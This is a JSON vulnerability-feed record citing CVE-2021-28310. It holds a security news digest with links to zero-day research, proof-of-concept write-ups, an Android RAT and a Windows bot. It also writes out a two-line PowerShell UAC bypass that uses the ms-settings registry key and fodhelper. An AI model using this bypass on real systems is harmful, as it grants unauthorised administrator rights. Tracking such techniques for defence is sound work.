{"uuid": "eefbf633-2e0c-4bec-9c79-d200a84fbf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-01T17:00:55.045827Z"}